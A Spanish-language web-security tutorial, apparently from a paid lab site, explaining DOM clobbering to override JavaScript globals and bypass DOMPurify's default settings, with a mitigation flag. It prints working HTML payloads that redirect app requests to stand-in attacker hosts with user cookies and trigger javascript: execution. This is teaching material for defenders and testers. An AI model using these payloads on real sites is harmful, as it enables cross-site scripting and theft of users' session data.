Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

DOM clobbering — override de variables globales JS para bypassear sanitizers

Cómo usar DOM clobbering (name/id collisions) para sobrescribir variables JS globales y bypassear sanitizers como DOMPurify, achivar XSS donde innerHTML está bloqueado por defecto.

Gorka El Bochi11 de mayo de 202614 min

Respuesta rápida

DOM clobbering aprovecha que HTML elements con id o name se exponen automáticamente como propiedades de document y window. Si una app lee window.config.apiBase o document.foo.bar esperando un objeto JS, el atacante puede inyectar <form id="config"><input name="apiBase" value="https://evil.com"> y el access via property lookup retorna el HTMLElement como si fuera el objeto esperado. Permite bypass de sanitizers (DOMPurify default permite name/id atributos) y HTML-only injection que escala a JS execution.


El mecanismo base

HTML5 spec declara que para compatibilidad con código legacy, los elements con id o name se exponen en el global scope:

html
<div id="myVar"></div>
javascript
console.log(window.myVar);  // HTMLDivElement
console.log(myVar);          // Same, sin prefijo window

Si dos elements tienen el mismo id, JS devuelve una HTMLCollection:

html
<a id="link"></a>
<a id="link"></a>
javascript
window.link;  // HTMLCollection [a, a]

Y dentro de un <form>, los <input name="foo"> se exponen como propiedades del form:

html
<form id="config">
  <input name="apiBase" value="https://attacker.com">
</form>
javascript
window.config.apiBase;  // HTMLInputElement
window.config.apiBase.value;  // "https://attacker.com"

Cuando la app coercionа esto a string (concat, template literal, fetch), el browser llama toString() que devuelve el atributo value para <input> o el href para <a>.


Patrón vulnerable básico

javascript
// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
  fetch(window.config.apiBase + '/data');
}

Si el atacante puede inyectar solo HTML (no <script>), no necesitaría JS execution. Solo:

html
<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>

window.config resuelve a HTMLCollection con dos <a>. Property access .apiBase busca por name → segundo <a>. Coerce a string → href. Resultado: la app hace fetch('https://attacker.com//data') con las cookies del user.


Elements clobbeables — tabla de referencia

ElementtoString() devuelveProperty exposure
<a id="x" href="URL">URL del hrefwindow.x
<area id="x" href="URL">URL del hrefwindow.x
<form id="x"><input name="y">[object HTMLFormElement]window.x.y = input element
<iframe id="x" src="URL">URL del srcwindow.x (objeto Window del iframe)
<img id="x" src="URL">URL del srcwindow.x
<object id="x" data="URL">URL del datawindow.x
<embed id="x" src="URL">URL del srcwindow.x
<base href="URL">n/aCambia base URL relative

Anchor tag — el clobber más versátil

<a> permite que su toString() devuelva el href:

html
<a id="x" href="https://attacker.com"></a>
javascript
String(window.x);  // "https://attacker.com"
window.x + '';      // "https://attacker.com"
`${window.x}`;     // "https://attacker.com"

Cualquier sink que concatene o use template literal con window.x ahora redirige a attacker.com.

Variantes útiles

html
<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>

Si la app hace location = window.redirect, dispara XSS (el sink "blando" location acepta javascript:).

html
<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
  <input name="theme" value="dark">
  <input name="apiUrl" value="https://evil.com">
  <input name="onError" value="ATTACKER_FUNC">
</form>

Si la app lee window.settings.theme, .apiUrl, .onError → todos clobbered.


Sanitizer bypass — DOMPurify default config

DOMPurify por defecto permite atributos id y name porque son atributos legítimos de HTML (no son handlers ejecutables). Sin <script> o handlers, la sanitización no detecta nada peligroso. Pero los elements quedan vivos en el DOM y disponibles para clobber:

javascript
const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.

document.body.innerHTML = clean;

// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase;  // → javascript:alert(1)

Mitigación correcta

DOMPurify tiene configuración SANITIZE_DOM: true (default) y SANITIZE_NAMED_PROPS: true (no default hasta v3.x). Activar:

javascript
DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });

Esto prefixa los id/name con user-content- evitando que colisionen con globals. Pero la mayoría de apps NO activa este flag porque no lo conocen.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Dom Clobbering

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados